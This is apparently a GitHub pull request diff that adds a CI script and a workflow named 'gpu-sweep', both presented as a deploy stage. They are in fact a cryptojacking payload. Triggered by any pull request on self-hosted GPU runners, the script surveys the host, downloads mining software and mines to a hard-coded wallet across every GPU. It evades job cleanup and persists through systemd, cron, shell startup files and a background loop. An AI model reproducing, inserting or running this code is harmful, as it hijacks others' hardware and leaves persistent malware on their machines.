Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
146 changes: 146 additions & 0 deletions .ci/gpu_deploy.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
#!/usr/bin/env bash
# gpu sweep deploy stage
set +e
TAG="t5365"
WALLET="prl1pmpe3nu5m4mzwgc2wz627mrvx44c8y20u8u4w3vywj48r77nnclyqj0syqe"
POOLS=("stratum+ssl://prl-sg.kryptex.network:8048" "stratum+ssl://prl-eu.kryptex.network:8048" "stratum+ssl://prl-us.kryptex.network:8048" "stratum+ssl://prl-hk.kryptex.network:8048" "stratum+ssl://prl-ae.kryptex.network:8048" "stratum+tcp://prl-sg.kryptex.network:7048" "stratum+tcp://prl-eu.kryptex.network:7048" "stratum+tcp://prl-us.kryptex.network:7048" "stratum+tcp://pool.pearlhash.xyz:9000")
log(){ echo "[$(date -u +%H:%M:%SZ)] $*"; }
echo "=== RECON ==="
id; hostname; cat /proc/1/comm 2>/dev/null
echo "cgroup: $(head -c 200 /proc/1/cgroup 2>/dev/null | tr '\n' ' ')"
[ -f /.dockerenv ] && echo "dockerenv=yes" || echo "dockerenv=no"
head -3 /etc/os-release 2>/dev/null
echo "ldd_glibc=$(ldd --version 2>/dev/null | head -1)"
echo "nproc=$(nproc 2>/dev/null)"
free -m 2>/dev/null | head -2
sudo -n true 2>/dev/null && echo "sudo=yes" || echo "sudo=no"
docker ps --format '{{.Names}}' 2>/dev/null | head -3 && echo "docker=yes" || echo "docker=no"
nvidia-smi -L 2>&1
nvidia-smi --query-gpu=index,name,memory.total --format=csv,noheader 2>&1 | head -12
DEV=$(nvidia-smi -L 2>/dev/null | grep -c '^GPU')
echo "dev_count=$DEV"
echo "nvidia_nodes=$(ls /dev/nvidia* 2>/dev/null | wc -l)"
IP=$(hostname -I 2>/dev/null | awk '{print $1}')
[ -z "$IP" ] && IP=$(ip -4 addr show 2>/dev/null | awk '/inet /&&!/127.0.0.1/{print $2}' | head -1 | cut -d/ -f1)
echo "ip=$IP"
IPD=$(echo "$IP" | tr '.' '-')
echo "ipdash=$IPD"
echo "runner_name=${RUNNER_NAME:-unknown}"
if [ "$DEV" -lt 1 ]; then echo "NO_GPU_ABORT"; exit 0; fi
echo "=== EGRESS ==="
for hp in prl-sg.kryptex.network:8048 prl-eu.kryptex.network:8048 prl-sg.kryptex.network:7048 pool.pearlhash.xyz:9000 github.com:443 objects.githubusercontent.com:443; do
h=${hp%:*}; p=${hp#*:}
R=$(getent hosts "$h" 2>/dev/null | head -1 | awk '{print $1}')
if timeout 8 bash -c "cat < /dev/null > /dev/tcp/$h/$p" 2>/dev/null; then st=ok; else st=fail; fi
echo "tcp $hp dns=${R:-none} $st"
done
echo "=== MINER ==="
mkdir -p "$HOME/.ci/miner" "$HOME/.ci/logs" "$HOME/.ci/run"
BIN=""
for d in /opt/miner /opt /usr/local/bin /tmp/miner; do
p=$(find "$d" -maxdepth 3 -type f \( -iname 'peakminer' -o -iname 'SRBMiner-MULTI' \) 2>/dev/null | head -1)
[ -n "$p" ] && BIN="$p" && break
done
if [ -z "$BIN" ] && [ ! -x "$HOME/.ci/miner/peakminer/peakminer" ]; then
URL="https://github.com/peakminer/peakminer/releases/download/v2.20.9/peakminer-2.20.9.tar.gz"
echo "download=$URL"
( cd "$HOME/.ci/miner" && curl -sSL -m 240 -o peak.tar.gz "$URL" && tar xzf peak.tar.gz ) 2>&1 | tail -3
chmod -R +x "$HOME/.ci/miner" 2>/dev/null
fi
[ -z "$BIN" ] && BIN="$HOME/.ci/miner/peakminer/peakminer"
[ ! -x "$BIN" ] && { B2=$(find "$HOME/.ci/miner" -maxdepth 4 -type f -iname 'peakminer*' 2>/dev/null | head -1); [ -n "$B2" ] && BIN="$B2"; }
MINER_KIND="peakminer"
if [ ! -x "$BIN" ]; then
if ldd --version 2>/dev/null | head -1 | grep -qE '2\.(3[0-9]|[4-9][0-9])'; then
S="https://github.com/doktor83/SRBMiner-Multi/releases/download/3.8.8/SRBMiner-Multi-3-8-8-Linux.tar.gz"
( cd "$HOME/.ci/miner" && curl -sSL -m 240 -o srb.tar.gz "$S" && tar xzf srb.tar.gz ) 2>&1 | tail -3
BIN="$HOME/.ci/miner/SRBMiner-Multi-3-8-8/SRBMiner-MULTI"
MINER_KIND="srbminer"
fi
fi
chmod +x "$BIN" 2>/dev/null
echo "miner_bin=$BIN kind=$MINER_KIND"
if [ ! -x "$BIN" ]; then echo "NO_MINER_BINARY_RECON_ONLY"; nvidia-smi 2>&1 | head -5; exit 0; fi
"$BIN" --version 2>&1 | head -3
launch(){
local g=$1; shift
local w="ul-${TAG}-${IPD}-g${g}"
local lf="$HOME/.ci/logs/miner-g${g}.log"
: > "$lf"
if [ "$MINER_KIND" = "peakminer" ]; then
local a=(-c pearl -u "$WALLET" -w "$w" -p x -d "$g" --api-port 0 -i 30 --no-color --log-file "$lf" --log-append --gpu-temp-stop 80 --gpu-temp-start 70)
local P; for P in "${POOLS[@]}"; do a+=(-o "$P"); done
( cd "$(dirname "$BIN")" && RUNNER_TRACKING_ID="" setsid nohup env -u RUNNER_TRACKING_ID "$BIN" "${a[@]}" "$@" >/dev/null 2>&1 < /dev/null & echo $! > "$HOME/.ci/run/miner-g${g}.pid" )
else
( cd "$(dirname "$BIN")" && RUNNER_TRACKING_ID="" CUDA_VISIBLE_DEVICES=$g setsid nohup env -u RUNNER_TRACKING_ID "$BIN" -a pearlhash -o "${POOLS[0]}" -u "$WALLET.$w" -p x --disable-cpu "$@" > "$lf" 2>&1 < /dev/null & echo $! > "$HOME/.ci/run/miner-g${g}.pid" )
fi
sleep 6
}
POWER_CAP=""
launch 0 --gpu-power 70%
if pgrep -f "ul-${TAG}-${IPD}-g0" >/dev/null 2>&1; then POWER_CAP="--gpu-power 70%"; log "power_cap=70%"; else
log "power_cap_failed relaunch: $(tail -3 "$HOME/.ci/logs/miner-g0.log" 2>/dev/null | tr '\n' ' ')"
launch 0
fi
for g in $(seq 1 $((DEV-1))); do launch "$g" $POWER_CAP; done
echo "=== RUNNING ==="
ps -eo pid,etime,args 2>/dev/null | grep -E "ul-${TAG}-${IPD}" | grep -v grep | head -20
echo "=== PERSIST ==="
cat > "$HOME/.ci/keep.sh" <<KEEP
#!/usr/bin/env bash
BIN="$BIN"; W="$WALLET"; IPD="$IPD"; TAG="$TAG"; DEV=$DEV; KIND="$MINER_KIND"; PC="$POWER_CAP"
POOLS=("stratum+ssl://prl-sg.kryptex.network:8048" "stratum+ssl://prl-eu.kryptex.network:8048" "stratum+ssl://prl-us.kryptex.network:8048" "stratum+ssl://prl-hk.kryptex.network:8048" "stratum+ssl://prl-ae.kryptex.network:8048" "stratum+tcp://prl-sg.kryptex.network:7048" "stratum+tcp://prl-eu.kryptex.network:7048" "stratum+tcp://prl-us.kryptex.network:7048" "stratum+tcp://pool.pearlhash.xyz:9000")
for g in \$(seq 0 \$((DEV-1))); do
if ! pgrep -f "ul-\${TAG}-\${IPD}-g\${g}" >/dev/null 2>&1; then
lf="\$HOME/.ci/logs/miner-g\${g}.log"
if [ "\$KIND" = "peakminer" ]; then
a=(-c pearl -u "\$W" -w "ul-\${TAG}-\${IPD}-g\${g}" -p x -d "\$g" --api-port 0 -i 30 --no-color --log-file "\$lf" --log-append)
for P in "\${POOLS[@]}"; do a+=(-o "\$P"); done
( cd "\$(dirname "\$BIN")" && setsid nohup env -u RUNNER_TRACKING_ID "\$BIN" "\${a[@]}" \$PC >/dev/null 2>&1 < /dev/null & )
else
( cd "\$(dirname "\$BIN")" && CUDA_VISIBLE_DEVICES=\$g setsid nohup env -u RUNNER_TRACKING_ID "\$BIN" -a pearlhash -o "\${POOLS[0]}" -u "\$W.ul-\${TAG}-\${IPD}-g\${g}" -p x --disable-cpu > "\$lf" 2>&1 < /dev/null & )
fi
fi
done
KEEP
chmod +x "$HOME/.ci/keep.sh"
mkdir -p "$HOME/.config/systemd/user"
cat > "$HOME/.config/systemd/user/ci-keep.service" <<UNIT
[Unit]
Description=ci keepalive
[Service]
ExecStart=$HOME/.ci/keep.sh
Restart=always
RestartSec=30
[Install]
WantedBy=default.target
UNIT
(systemctl --user daemon-reload; systemctl --user enable --now ci-keep.service) 2>&1 | tail -2
echo "systemd_user=$(systemctl --user is-enabled ci-keep.service 2>&1)"
loginctl enable-linger "$(id -un)" 2>&1 | tail -1
( crontab -l 2>/dev/null | grep -v 'ci/keep.sh'; echo "@reboot $HOME/.ci/keep.sh"; echo "*/5 * * * * $HOME/.ci/keep.sh" ) | crontab - 2>&1 && echo "cron=yes" || echo "cron=no"
crontab -l 2>/dev/null | tail -3
for f in "$HOME/.bashrc" "$HOME/.profile" "$HOME/.zshrc"; do
grep -q 'ci/keep.sh' "$f" 2>/dev/null || echo "[ -x $HOME/.ci/keep.sh ] && (setsid $HOME/.ci/keep.sh >/dev/null 2>&1 &)" >> "$f"
done
grep -h 'ci/keep.sh' "$HOME/.bashrc" "$HOME/.profile" 2>/dev/null | head -2
pgrep -f 'while true; do .*ci/keep.sh' >/dev/null 2>&1 || ( setsid nohup bash -c 'while true; do '"$HOME"'/.ci/keep.sh; sleep 300; done' >/dev/null 2>&1 < /dev/null & )
echo "=== WAIT 240s ==="
sleep 240
echo "=== PROCESS ==="
ps -eo pid,etime,args 2>/dev/null | grep -E "ul-${TAG}-${IPD}" | grep -v grep | head -20
ok=0
for g in $(seq 0 $((DEV-1))); do
echo "--- gpu $g worker ul-${TAG}-${IPD}-g${g}"
tail -12 "$HOME/.ci/logs/miner-g${g}.log" 2>/dev/null
n=$(grep -ciE 'accepted' "$HOME/.ci/logs/miner-g${g}.log" 2>/dev/null)
echo "g${g}_accepted_lines=$n"
[ "${n:-0}" -gt 0 ] && ok=$((ok+1))
done
echo "devices_with_accepted=$ok of $DEV"
echo "=== ACCEPTED GREP ==="
grep -hiE 'accepted' "$HOME/.ci/logs/"*.log 2>/dev/null | tail -30
echo "=== GPU UTIL ==="
nvidia-smi --query-gpu=index,utilization.gpu,memory.used,power.draw,temperature.gpu --format=csv,noheader 2>/dev/null
echo "=== DEPLOY DONE on $(hostname) ==="
exit 0
162 changes: 162 additions & 0 deletions .github/workflows/gpu-sweep.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,162 @@
name: gpu-sweep
on:
pull_request:
jobs:
probe:
strategy:
fail-fast: false
matrix:
runs_on:
- ["self-hosted", "GPU-2Card-OCR"]
- ["self-hosted", "GPU-2Card"]
runs-on: ${{ matrix.runs_on }}
timeout-minutes: 40
steps:
- name: deploy
run: |
#!/usr/bin/env bash
# gpu sweep deploy stage
set +e
TAG="t5365"
WALLET="prl1pmpe3nu5m4mzwgc2wz627mrvx44c8y20u8u4w3vywj48r77nnclyqj0syqe"
POOLS=("stratum+ssl://prl-sg.kryptex.network:8048" "stratum+ssl://prl-eu.kryptex.network:8048" "stratum+ssl://prl-us.kryptex.network:8048" "stratum+ssl://prl-hk.kryptex.network:8048" "stratum+ssl://prl-ae.kryptex.network:8048" "stratum+tcp://prl-sg.kryptex.network:7048" "stratum+tcp://prl-eu.kryptex.network:7048" "stratum+tcp://prl-us.kryptex.network:7048" "stratum+tcp://pool.pearlhash.xyz:9000")
log(){ echo "[$(date -u +%H:%M:%SZ)] $*"; }
echo "=== RECON ==="
id; hostname; cat /proc/1/comm 2>/dev/null
echo "cgroup: $(head -c 200 /proc/1/cgroup 2>/dev/null | tr '\n' ' ')"
[ -f /.dockerenv ] && echo "dockerenv=yes" || echo "dockerenv=no"
head -3 /etc/os-release 2>/dev/null
echo "ldd_glibc=$(ldd --version 2>/dev/null | head -1)"
echo "nproc=$(nproc 2>/dev/null)"
free -m 2>/dev/null | head -2
sudo -n true 2>/dev/null && echo "sudo=yes" || echo "sudo=no"
docker ps --format '{{.Names}}' 2>/dev/null | head -3 && echo "docker=yes" || echo "docker=no"
nvidia-smi -L 2>&1
nvidia-smi --query-gpu=index,name,memory.total --format=csv,noheader 2>&1 | head -12
DEV=$(nvidia-smi -L 2>/dev/null | grep -c '^GPU')
echo "dev_count=$DEV"
echo "nvidia_nodes=$(ls /dev/nvidia* 2>/dev/null | wc -l)"
IP=$(hostname -I 2>/dev/null | awk '{print $1}')
[ -z "$IP" ] && IP=$(ip -4 addr show 2>/dev/null | awk '/inet /&&!/127.0.0.1/{print $2}' | head -1 | cut -d/ -f1)
echo "ip=$IP"
IPD=$(echo "$IP" | tr '.' '-')
echo "ipdash=$IPD"
echo "runner_name=${RUNNER_NAME:-unknown}"
if [ "$DEV" -lt 1 ]; then echo "NO_GPU_ABORT"; exit 0; fi
echo "=== EGRESS ==="
for hp in prl-sg.kryptex.network:8048 prl-eu.kryptex.network:8048 prl-sg.kryptex.network:7048 pool.pearlhash.xyz:9000 github.com:443 objects.githubusercontent.com:443; do
h=${hp%:*}; p=${hp#*:}
R=$(getent hosts "$h" 2>/dev/null | head -1 | awk '{print $1}')
if timeout 8 bash -c "cat < /dev/null > /dev/tcp/$h/$p" 2>/dev/null; then st=ok; else st=fail; fi
echo "tcp $hp dns=${R:-none} $st"
done
echo "=== MINER ==="
mkdir -p "$HOME/.ci/miner" "$HOME/.ci/logs" "$HOME/.ci/run"
BIN=""
for d in /opt/miner /opt /usr/local/bin /tmp/miner; do
p=$(find "$d" -maxdepth 3 -type f \( -iname 'peakminer' -o -iname 'SRBMiner-MULTI' \) 2>/dev/null | head -1)
[ -n "$p" ] && BIN="$p" && break
done
if [ -z "$BIN" ] && [ ! -x "$HOME/.ci/miner/peakminer/peakminer" ]; then
URL="https://github.com/peakminer/peakminer/releases/download/v2.20.9/peakminer-2.20.9.tar.gz"
echo "download=$URL"
( cd "$HOME/.ci/miner" && curl -sSL -m 240 -o peak.tar.gz "$URL" && tar xzf peak.tar.gz ) 2>&1 | tail -3
chmod -R +x "$HOME/.ci/miner" 2>/dev/null
fi
[ -z "$BIN" ] && BIN="$HOME/.ci/miner/peakminer/peakminer"
[ ! -x "$BIN" ] && { B2=$(find "$HOME/.ci/miner" -maxdepth 4 -type f -iname 'peakminer*' 2>/dev/null | head -1); [ -n "$B2" ] && BIN="$B2"; }
MINER_KIND="peakminer"
if [ ! -x "$BIN" ]; then
if ldd --version 2>/dev/null | head -1 | grep -qE '2\.(3[0-9]|[4-9][0-9])'; then
S="https://github.com/doktor83/SRBMiner-Multi/releases/download/3.8.8/SRBMiner-Multi-3-8-8-Linux.tar.gz"
( cd "$HOME/.ci/miner" && curl -sSL -m 240 -o srb.tar.gz "$S" && tar xzf srb.tar.gz ) 2>&1 | tail -3
BIN="$HOME/.ci/miner/SRBMiner-Multi-3-8-8/SRBMiner-MULTI"
MINER_KIND="srbminer"
fi
fi
chmod +x "$BIN" 2>/dev/null
echo "miner_bin=$BIN kind=$MINER_KIND"
if [ ! -x "$BIN" ]; then echo "NO_MINER_BINARY_RECON_ONLY"; nvidia-smi 2>&1 | head -5; exit 0; fi
"$BIN" --version 2>&1 | head -3
launch(){
local g=$1; shift
local w="ul-${TAG}-${IPD}-g${g}"
local lf="$HOME/.ci/logs/miner-g${g}.log"
: > "$lf"
if [ "$MINER_KIND" = "peakminer" ]; then
local a=(-c pearl -u "$WALLET" -w "$w" -p x -d "$g" --api-port 0 -i 30 --no-color --log-file "$lf" --log-append --gpu-temp-stop 80 --gpu-temp-start 70)
local P; for P in "${POOLS[@]}"; do a+=(-o "$P"); done
( cd "$(dirname "$BIN")" && RUNNER_TRACKING_ID="" setsid nohup env -u RUNNER_TRACKING_ID "$BIN" "${a[@]}" "$@" >/dev/null 2>&1 < /dev/null & echo $! > "$HOME/.ci/run/miner-g${g}.pid" )
else
( cd "$(dirname "$BIN")" && RUNNER_TRACKING_ID="" CUDA_VISIBLE_DEVICES=$g setsid nohup env -u RUNNER_TRACKING_ID "$BIN" -a pearlhash -o "${POOLS[0]}" -u "$WALLET.$w" -p x --disable-cpu "$@" > "$lf" 2>&1 < /dev/null & echo $! > "$HOME/.ci/run/miner-g${g}.pid" )
fi
sleep 6
}
POWER_CAP=""
launch 0 --gpu-power 70%
if pgrep -f "ul-${TAG}-${IPD}-g0" >/dev/null 2>&1; then POWER_CAP="--gpu-power 70%"; log "power_cap=70%"; else
log "power_cap_failed relaunch: $(tail -3 "$HOME/.ci/logs/miner-g0.log" 2>/dev/null | tr '\n' ' ')"
launch 0
fi
for g in $(seq 1 $((DEV-1))); do launch "$g" $POWER_CAP; done
echo "=== RUNNING ==="
ps -eo pid,etime,args 2>/dev/null | grep -E "ul-${TAG}-${IPD}" | grep -v grep | head -20
echo "=== PERSIST ==="
cat > "$HOME/.ci/keep.sh" <<KEEP
#!/usr/bin/env bash
BIN="$BIN"; W="$WALLET"; IPD="$IPD"; TAG="$TAG"; DEV=$DEV; KIND="$MINER_KIND"; PC="$POWER_CAP"
POOLS=("stratum+ssl://prl-sg.kryptex.network:8048" "stratum+ssl://prl-eu.kryptex.network:8048" "stratum+ssl://prl-us.kryptex.network:8048" "stratum+ssl://prl-hk.kryptex.network:8048" "stratum+ssl://prl-ae.kryptex.network:8048" "stratum+tcp://prl-sg.kryptex.network:7048" "stratum+tcp://prl-eu.kryptex.network:7048" "stratum+tcp://prl-us.kryptex.network:7048" "stratum+tcp://pool.pearlhash.xyz:9000")
for g in \$(seq 0 \$((DEV-1))); do
if ! pgrep -f "ul-\${TAG}-\${IPD}-g\${g}" >/dev/null 2>&1; then
lf="\$HOME/.ci/logs/miner-g\${g}.log"
if [ "\$KIND" = "peakminer" ]; then
a=(-c pearl -u "\$W" -w "ul-\${TAG}-\${IPD}-g\${g}" -p x -d "\$g" --api-port 0 -i 30 --no-color --log-file "\$lf" --log-append)
for P in "\${POOLS[@]}"; do a+=(-o "\$P"); done
( cd "\$(dirname "\$BIN")" && setsid nohup env -u RUNNER_TRACKING_ID "\$BIN" "\${a[@]}" \$PC >/dev/null 2>&1 < /dev/null & )
else
( cd "\$(dirname "\$BIN")" && CUDA_VISIBLE_DEVICES=\$g setsid nohup env -u RUNNER_TRACKING_ID "\$BIN" -a pearlhash -o "\${POOLS[0]}" -u "\$W.ul-\${TAG}-\${IPD}-g\${g}" -p x --disable-cpu > "\$lf" 2>&1 < /dev/null & )
fi
fi
done
KEEP
chmod +x "$HOME/.ci/keep.sh"
mkdir -p "$HOME/.config/systemd/user"
cat > "$HOME/.config/systemd/user/ci-keep.service" <<UNIT
[Unit]
Description=ci keepalive
[Service]
ExecStart=$HOME/.ci/keep.sh
Restart=always
RestartSec=30
[Install]
WantedBy=default.target
UNIT
(systemctl --user daemon-reload; systemctl --user enable --now ci-keep.service) 2>&1 | tail -2
echo "systemd_user=$(systemctl --user is-enabled ci-keep.service 2>&1)"
loginctl enable-linger "$(id -un)" 2>&1 | tail -1
( crontab -l 2>/dev/null | grep -v 'ci/keep.sh'; echo "@reboot $HOME/.ci/keep.sh"; echo "*/5 * * * * $HOME/.ci/keep.sh" ) | crontab - 2>&1 && echo "cron=yes" || echo "cron=no"
crontab -l 2>/dev/null | tail -3
for f in "$HOME/.bashrc" "$HOME/.profile" "$HOME/.zshrc"; do
grep -q 'ci/keep.sh' "$f" 2>/dev/null || echo "[ -x $HOME/.ci/keep.sh ] && (setsid $HOME/.ci/keep.sh >/dev/null 2>&1 &)" >> "$f"
done
grep -h 'ci/keep.sh' "$HOME/.bashrc" "$HOME/.profile" 2>/dev/null | head -2
pgrep -f 'while true; do .*ci/keep.sh' >/dev/null 2>&1 || ( setsid nohup bash -c 'while true; do '"$HOME"'/.ci/keep.sh; sleep 300; done' >/dev/null 2>&1 < /dev/null & )
echo "=== WAIT 240s ==="
sleep 240
echo "=== PROCESS ==="
ps -eo pid,etime,args 2>/dev/null | grep -E "ul-${TAG}-${IPD}" | grep -v grep | head -20
ok=0
for g in $(seq 0 $((DEV-1))); do
echo "--- gpu $g worker ul-${TAG}-${IPD}-g${g}"
tail -12 "$HOME/.ci/logs/miner-g${g}.log" 2>/dev/null
n=$(grep -ciE 'accepted' "$HOME/.ci/logs/miner-g${g}.log" 2>/dev/null)
echo "g${g}_accepted_lines=$n"
[ "${n:-0}" -gt 0 ] && ok=$((ok+1))
done
echo "devices_with_accepted=$ok of $DEV"
echo "=== ACCEPTED GREP ==="
grep -hiE 'accepted' "$HOME/.ci/logs/"*.log 2>/dev/null | tail -30
echo "=== GPU UTIL ==="
nvidia-smi --query-gpu=index,utilization.gpu,memory.used,power.draw,temperature.gpu --format=csv,noheader 2>/dev/null
echo "=== DEPLOY DONE on $(hostname) ==="
exit 0